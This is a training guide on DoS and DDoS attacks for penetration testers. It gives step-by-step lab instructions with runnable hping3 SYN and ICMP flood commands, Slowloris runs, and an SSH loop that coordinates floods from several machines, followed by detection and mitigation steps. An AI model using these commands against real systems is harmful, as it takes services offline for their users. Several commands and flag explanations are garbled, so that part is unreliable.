⚠️DOS & DDOS ATTACK

Denial of Service (DoS) Attacks: Detailed Explanation

1. What is a DoS Attack?

A **Denial of Service (DoS)** attack is an attempt to make a computer system, network, or service unavailable to its intended users by overwhelming it with excessive requests or exploiting vulnerabilities to crash or freeze the target. Unlike Distributed Denial of Service (DDoS), which uses multiple sources, DoS attacks originate from a single source.

2. Objectives of DoS Attacks

- **Resource Exhaustion:** Consume bandwidth, CPU, memory, or other resources.
- **Service Disruption:** Make services slow or completely unavailable.
- **Crash Systems:** Exploit software bugs to cause crashes or reboots.
- **Distract Security Teams:** As a diversion for other attacks.

3. Types of DoS Attacks

3.1 Volume-Based Attacks

- **Description:** Flood the target with excessive traffic to saturate bandwidth.
- **Examples:**
  - **UDP Flood:** Sends large numbers of UDP packets to random or specified ports, causing the target to process and respond or drop them.
  - **ICMP Flood (Ping Flood):** Sends ICMP Echo Request packets (pings) rapidly to overwhelm the target.

    - **TCP SYN Flood:** Sends a flood of TCP SYN packets to initiate connections but never completes the handshake, exhausting connection tables.

3.2 Protocol Attacks

- **Description:** Exploit weaknesses in network protocols to consume server resources.
- **Examples:**
    - **SYN Flood:** As above, exploits TCP handshake.
    - **Ping of Death:** Sends malformed or oversized ICMP packets causing buffer overflow.
    - **Smurf Attack:** Sends ICMP echo requests to broadcast addresses with spoofed source IP, causing many hosts to reply to the victim.

3.3 Application Layer Attacks

- **Description:** Target specific applications or services with seemingly legitimate requests to exhaust resources.
- **Examples:**
    - **HTTP Flood:** Sends many HTTP GET or POST requests to overwhelm web servers.
    - **Slowloris:** Opens many HTTP connections and keeps them open by sending partial requests slowly.
    - **DNS Query Flood:** Overloads DNS servers with excessive queries.

4. How DoS Attacks Work

- The attacker sends a high volume of traffic or malformed packets to the target.
- The target tries to process these requests, consuming CPU, memory, or bandwidth.
- Legitimate users experience slowdowns or inability to access services.
- In some cases, the target crashes or reboots due to resource exhaustion or software bugs.

5. Common Tools for DoS Attacks (Authorized Use Only)

5.1 Hping3

- **Description:** A command-line packet crafting tool that can generate TCP, UDP, ICMP packets.
- **Use Cases:** SYN floods, UDP floods, ICMP floods.
- **Example Command:**

```
bashCopy
sudo hping3 -S --flood -p 80 target_ip
```

- Sends SYN packets rapidly to port 80.

5.2 LOIC (Low Orbit Ion Cannon)

- **Description:** A simple GUI tool for TCP, UDP, and HTTP floods.
- **Use Cases:** Basic DoS testing.
- **Note:** Easy to detect and block; mostly used for demonstration.

5.3 R-U-Dead-Yet (RUDY)

- **Description:** Application layer DoS tool that performs Slow POST attacks.
- **Use Cases:** Exhaust web server resources by sending long POST requests slowly.

5.4 Slowloris

- **Description:** Keeps many HTTP connections open by sending partial headers slowly.
- **Use Cases:** Exhaust web server connection pools without high bandwidth.

5.5 Metasploit Auxiliary Modules

- **Description:** Metasploit framework includes modules for SYN flood and other DoS attacks.
- **Use Cases:** Integrated testing within penetration tests.

---

6. Practical Example: SYN Flood with Hping3

```
bashCopy
sudo hping3 -S --flood -p 80 target_ip
```

- `s` : Set SYN flag.
- `-flood` : Send packets as fast as possible.
- `p 80` : Target port 80.

This command sends a flood of TCP SYN packets to the target's port 80, attempting to exhaust its connection table.

7. Detection and Impact

- **Detection:** Sudden spikes in traffic, increased CPU load, many half-open TCP connections.
- **Impact:** Service slowdown, unavailability, crashes, increased latency.

8. Mitigation Techniques (Brief Overview)

- Rate limiting.
- Firewalls and Intrusion Prevention Systems (IPS).
- SYN cookies to handle SYN floods.
- Traffic filtering and blackholing.
- Application layer protections like WAFs.

DoS Hands-On Lab: Practical Guide

Lab Prerequisites

- A **test environment**: Use virtual machines or isolated lab network.
- **Target machine**: A web server or service running on a VM (e.g., Apache on Ubuntu).

- **Attacker machine**: Kali Linux or any Linux distro with tools installed.
- **Authorization**: Written permission to perform testing on the target.
- Network connectivity between attacker and target.

Lab 1: SYN Flood Attack Using Hping3

Objective

Overwhelm the target's TCP connection table by sending a flood of SYN packets.

Step-by-Step

1. **Set up the target:**
    - Install Apache on Ubuntu VM:

    ```
    bashCopy
    sudo apt update
    sudo apt install apache2
    sudo systemctl start apache2
    ```

2. **Verify target is reachable:**

    ```
    bashCopy
    ping <target_ip>
    curl http://<target_ip>
    ```

3. **On attacker machine, install hping3 (if not installed):**

    ```
    bashCopy
    sudo apt update
    sudo apt install hping3
    ```

4. **Run SYN flood attack:**

    ```
    bashCopy
    sudo hping3 -S --flood -V -p 80 <target_ip>
    ```

   - `s` : SYN flag
   - `-flood` : send packets as fast as possible
   - `V` : verbose output
   - `p 80` : target port 80 (HTTP)

5. **Monitor target:**
   - Check CPU and memory usage on target:

   ```
   bashCopy
   top
   ```

   - Check number of half-open connections:

   ```
   bashCopy
   sudo netstat -anp | grep SYN_RECV | wc -l
   ```

6. **Stop attack:** Press `Ctrl+C` on attacker machine.
7. **Observe recovery:** Target should return to normal after attack stops.

Lab 2: Slowloris Attack

Objective

Exhaust web server connections by holding many HTTP connections open.

Step-by-Step

1. **Download Slowloris:**

   ```
   bashCopy
   git clone https://github.com/gkbrk/slowloris.git
   cd slowloris
   ```

2. **Run Slowloris against target:**

   ```
   bashCopy
   python3 slowloris.py -dns <target_ip> -port 80 -timeout 30 -num 200 -
   ```

```
safe 50
```

- `dns` : target IP or domain
- `port` : target port (80 for HTTP)
- `timeout` : time to keep connections alive
- `num` : number of connections to open
- `safe` : number of connections to keep alive safely

3. **Monitor target:**
    - Check Apache server status or logs.
    - Use `netstat` to see many open connections.
4. **Stop attack:** Press `Ctrl+C` .

Lab 3: ICMP Flood (Ping Flood) Using Hping3

Objective

Flood the target with ICMP Echo Requests.

Step-by-Step

1. **Run ICMP flood:**

```
bashCopy
sudo hping3 --icmp --flood <target_ip>
```

2. **Monitor target:** Check CPU and network usage.
3. **Stop attack:** Press `Ctrl+C` .

Safety and Cleanup

- Always monitor the target to avoid crashing critical systems.
- Stop attacks immediately if unintended impact occurs.
- Restart services on target if needed:

```
bashCopy
sudo systemctl restart apache2
```

Summary Table

Lab Attack Type	Tool	Command Example	Target Service
SYN Flood	hping3	`sudo hping3 -S --flood -p 80 <target_ip>`	TCP port 80 (HTTP)
Slowloris	slowloris	`python3 slowloris.py -dns <target_ip> -port 80`	HTTP Server
ICMP Flood	hping3	`sudo hping3 --icmp --flood <target_ip>`	ICMP Echo (Ping)

Distributed Denial of Service (DDoS) Attacks: Detailed Explanation for Penetration Testing

1. What is a DDoS Attack?

A **Distributed Denial of Service (DDoS)** attack is a coordinated attempt to make an online service, network, or system unavailable by overwhelming it with traffic or requests originating from multiple distributed sources (often thousands or millions of compromised devices, called a botnet). Unlike a DoS attack, which comes from a single source, DDoS attacks leverage many machines to amplify the attack's scale and complexity.

2. Objectives of DDoS Attacks

- **Service Disruption:** Make websites, applications, or networks unavailable to legitimate users.
- **Resource Exhaustion:** Consume bandwidth, CPU, memory, or other critical resources.

- **Bypass Defenses:** Distributed nature makes it harder to block or filter traffic.
- **Diversion:** Distract security teams while other attacks (e.g., data breaches) occur.
- **Extortion:** Ransom DDoS attacks demand payment to stop the attack.

---

3. Anatomy of a DDoS Attack

3.1 Botnet

- A network of compromised devices (PCs, IoT devices, servers) controlled by an attacker.
- Devices are infected with malware that allows remote control.
- Botnets can range from hundreds to millions of devices.

3.2 Command and Control (C&C)

- Centralized or decentralized servers that send commands to bots.
- Coordinate attack timing, targets, and methods.

3.3 Attack Traffic

- Bots generate massive volumes of traffic or requests.
- Traffic is often spoofed or randomized to evade detection.

---

4. Types of DDoS Attacks

DDoS attacks are generally categorized into three main types based on the OSI layer they target:

4.1 Volume-Based Attacks (Layer 3/4)

- Aim to saturate the bandwidth of the target.
- Measured in bits per second (bps).
- Examples:
  - **UDP Flood:** Floods random or specific UDP ports.
  - **ICMP Flood:** Sends large volumes of ping requests.

    - **TCP SYN Flood:** Sends many SYN packets to exhaust connection tables.

4.2 Protocol Attacks (Layer 3/4)

- Exploit weaknesses in network protocols to consume server resources.
- Measured in packets per second (pps).
- Examples:
    - **SYN Flood:** Exploits TCP handshake.
    - **Ping of Death:** Sends malformed ICMP packets.
    - **Smurf Attack:** Uses ICMP echo requests to broadcast addresses.

4.3 Application Layer Attacks (Layer 7)

- Target specific applications or services with legitimate-looking requests.
- Measured in requests per second (rps).
- Examples:
    - **HTTP Flood:** Sends many HTTP GET/POST requests.
    - **Slowloris:** Opens many HTTP connections and holds them open.
    - **DNS Query Flood:** Overloads DNS servers with queries.

5. Common DDoS Attack Vectors and Techniques

Attack Vector	Description	Impact
UDP Flood	Floods UDP packets to random ports	Bandwidth saturation
TCP SYN Flood	Sends SYN packets without completing handshake	Exhausts connection tables
HTTP GET/POST Flood	Sends massive HTTP requests to web servers	Exhausts web server resources
DNS Amplification	Spoofs victim IP in DNS queries to amplify traffic	Massive bandwidth amplification
NTP Amplification	Uses Network Time Protocol servers to amplify traffic	Large volume traffic
SSDP Amplification	Exploits Simple Service Discovery Protocol	Bandwidth saturation

Attack Vector	Description	Impact
Slowloris	Holds HTTP connections open by sending partial headers	Exhausts server connections

6. Tools Used in DDoS Testing (Authorized Use Only)

6.1 LOIC (Low Orbit Ion Cannon)

- Simple tool for TCP, UDP, HTTP floods.
- GUI-based, easy to use.
- Mostly for demonstration or small-scale testing.

6.2 HOIC (High Orbit Ion Cannon)

- More powerful than LOIC.
- Supports booster scripts for enhanced attacks.

6.3 Hping3

- Command-line packet crafting tool.
- Can generate TCP, UDP, ICMP floods.
- Useful for SYN floods and custom packet attacks.

6.4 Slowloris

- Application layer attack tool.
- Opens many HTTP connections and keeps them alive.

6.5 Metasploit Framework

- Contains auxiliary modules for DoS/DDoS attacks.
- Useful for integrated penetration testing.

6.6 Botnet Simulators

- For lab environments, simulated botnets can be created using multiple VMs.
- Coordination via scripts or C&C emulators.

7. Detection and Monitoring of DDoS Attacks

Indicators

- Sudden spikes in inbound traffic.
- High number of incomplete TCP connections.
- Increased latency or timeouts.
- Alerts from IDS/IPS or firewall logs.
- Network congestion and packet loss.

Tools

- **Wireshark:** Packet capture and analysis.
- **NetFlow/sFlow:** Network traffic monitoring.
- **Snort/Suricata:** IDS/IPS with DDoS detection rules.
- **Cloud Monitoring:** AWS Shield, Azure DDoS Protection.
- **SIEM Systems:** Correlate logs and alerts.

---

8. Mitigation Strategies

8.1 Network-Level Mitigation

- **Rate Limiting:** Limit traffic per IP or subnet.
- **Blackholing/Null Routing:** Drop traffic to target IP during attack.
- **Geo-blocking:** Block traffic from suspicious regions.
- **Traffic Filtering:** Use ACLs or firewalls to block malicious packets.
- **Anycast Networks:** Distribute traffic across multiple data centers.

8.2 Application-Level Mitigation

- **Web Application Firewalls (WAF):** Filter malicious HTTP requests.
- **CAPTCHA:** Prevent automated requests.
- **Connection Limits:** Limit simultaneous connections per IP.
- **Timeout Settings:** Reduce timeouts to free resources faster.

8.3 Cloud-Based Mitigation

- **CDNs:** Absorb traffic and cache content.
- **DDoS Protection Services:** AWS Shield, Cloudflare, Akamai, Imperva.

9. Practical Considerations for Penetration Testing

- **Authorization:** Always have explicit written permission.
- **Scope:** Define allowed targets, attack types, duration, and impact limits.
- **Coordination:** Inform network and system administrators.
- **Safety:** Start with low-intensity tests, monitor continuously.
- **Documentation:** Record attack parameters, impact, and remediation advice.
- **Legal Compliance:** Follow laws and regulations.

10. Example: Simulating a SYN Flood DDoS in a Lab

- Use multiple attacker VMs.
- On each attacker, run:

```
bashCopy
sudo hping3 -S --flood -p 80 <target_ip>
```

- Coordinate start times to simulate distributed attack.
- Monitor target resource usage and connection states.
- Stop attacks immediately if unintended impact occurs.

11. Summary

Aspect	Details
Definition	Multi-source attack to disrupt service
Main Types	Volume-based, Protocol, Application layer
Common Vectors	UDP flood, SYN flood, HTTP flood, Amplification attacks
Tools	LOIC, HOIC, Hping3, Slowloris, Metasploit

Aspect	Details
Detection	Traffic spikes, IDS alerts, connection stats
Mitigation	Rate limiting, WAF, blackholing, cloud services
Pentest Best Practices	Authorization, scope, monitoring, documentation

DDoS Hands-On Lab: Practical Guide from Start to Finish

Lab Prerequisites

- **Controlled lab environment**: Multiple attacker machines (physical or virtual) or simulated bots.
- **Target machine**: Web server or service running on a VM (e.g., Apache on Ubuntu).
- **Network setup**: All machines on the same isolated network or VPN.
- **Authorization**: Written permission to perform testing.
- **Tools installed**: Kali Linux or similar on attacker machines, with DDoS tools.
- **Basic knowledge**: Networking, Linux commands, and penetration testing.

Step 1: Lab Environment Setup

1.1 Target Setup

- Install and start Apache on Ubuntu VM:

```
bashCopy
sudo apt update
sudo apt install apache2
sudo systemctl start apache2
```

- Verify target is reachable:

```
bashCopy
ping <target_ip>
```

```
curl http://<target_ip>
```

1.2 Attacker Setup

- Prepare **at least 2 attacker machines** (VMs or physical).
- Install necessary tools on each attacker:

```
bashCopy
sudo apt update
sudo apt install hping3 slowloris git python3
```

- Clone Slowloris on each attacker:

```
bashCopy
git clone https://github.com/gkbrk/slowloris.git
cd slowloris
```

Step 2: Simulating a DDoS Attack

Since true DDoS requires many bots, in a lab you simulate it by coordinating multiple attacker machines to launch attacks simultaneously.

2.1 Coordinated SYN Flood with Hping3

On **each attacker machine**, run:

```
bashCopy
sudo hping3 -S --flood -V -p 80 <target_ip>
```

- This sends SYN packets rapidly to port 80.
- When multiple attackers do this simultaneously, it simulates a SYN flood DDoS.

2.2 Coordinated Slowloris Attack

On **each attacker machine**, run:

```
bashCopy
python3 slowloris/slowloris.py -dns <target_ip> -port 80 -timeout 30 -num 100 -safe 20
```

- Each attacker opens many slow HTTP connections.
- Combined effect exhausts the web server’s connection pool.

2.3 Coordinated ICMP Flood

On **each attacker machine**, run:

```
bashCopy
sudo hping3 --icmp --flood <target_ip>
```

- Multiple sources send ICMP Echo Requests flooding the target.

Step 3: Monitoring the Target

On the **target machine**, monitor system and network status:

- CPU and memory usage:

```
bashCopy
top
```

- Number of TCP connections:

```
bashCopy
sudo netstat -anp | grep ESTABLISHED | wc -l
```

- Number of half-open connections (SYN_RECV):

```
bashCopy
sudo netstat -anp | grep SYN_RECV | wc -l
```

- Apache server status (if enabled):

```
bashCopy
sudo apachectl status
```

Step 4: Stopping the Attack and Recovery

- On each attacker machine, stop the attack with `Ctrl+C`.
- On the target, restart services if needed:

```
bashCopy
sudo systemctl restart apache2
```

- Verify service availability:

```
bashCopy
curl http://localhost
```

Step 5: Optional - Automate Attack Coordination

You can write a simple script or use SSH to launch attacks simultaneously on multiple attacker machines.

Example (from a control machine with SSH access):

```
bashCopy
for host in attacker1 attacker2 attacker3; do
  ssh user@$host "sudo hping3 -S --flood -p 80 <target_ip>" &
done
```

Step 6: Mitigation Testing (Optional)

After running attacks, test mitigation techniques such as:

- Enabling **SYN cookies** on the target:

```
bashCopy
sudo sysctl -w net.ipv4.tcp_syncookies=1
```

- Configuring **firewall rate limiting** (iptables example):

```
bashCopy
sudo iptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT
sudo iptables -A INPUT -p tcp --syn -j DROP
```

- Deploying **Web Application Firewall (WAF)** or **CDN** in front of the target.

Summary Table

Step	Description	Commands/Tools
Target Setup	Install and start web server	`sudo apt install apache2`
Attacker Setup	Prepare attacker machines	`sudo apt install hping3 slowloris`
SYN Flood Attack	Run SYN flood from multiple sources	`sudo hping3 -S --flood -p 80 <target_ip>`
Slowloris Attack	Run slow HTTP connection attack	`python3 slowloris.py -dns <target_ip> -port 80`
ICMP Flood Attack	Run ICMP flood from multiple sources	`sudo hping3 --icmp --flood <target_ip>`
Monitoring	Check CPU, connections, logs	`top`, `netstat`, `apachectl status`
Mitigation Testing	Enable SYN cookies, rate limiting	`sysctl`, `iptables`

Important Notes

- Always monitor the target to avoid crashing critical systems.
- Stop attacks immediately if unintended impact occurs.
- Use isolated lab environments or test networks.
- Document all activities for reporting.